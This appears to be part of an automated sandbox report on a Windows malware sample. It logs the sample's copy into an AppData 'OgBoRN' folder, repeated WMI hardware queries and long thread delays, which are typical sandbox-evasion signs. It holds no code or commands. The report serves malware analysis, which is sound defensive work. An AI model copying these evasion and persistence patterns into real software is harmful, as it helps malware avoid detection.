Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596579s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596204s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595708s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595579s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595204s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -595079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594840s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -593990s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -593735s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599862	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598481	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597478	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597358	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597116	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594452	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598666	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598224	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597966	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597818	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597415	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597309	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597077	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596166	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596049	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595667	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594155	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594041	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593923	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593811	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599449	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598782	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598428	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598018	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597767	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597525	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597417	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595829	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594840	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593990	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593735	Jump to behavior

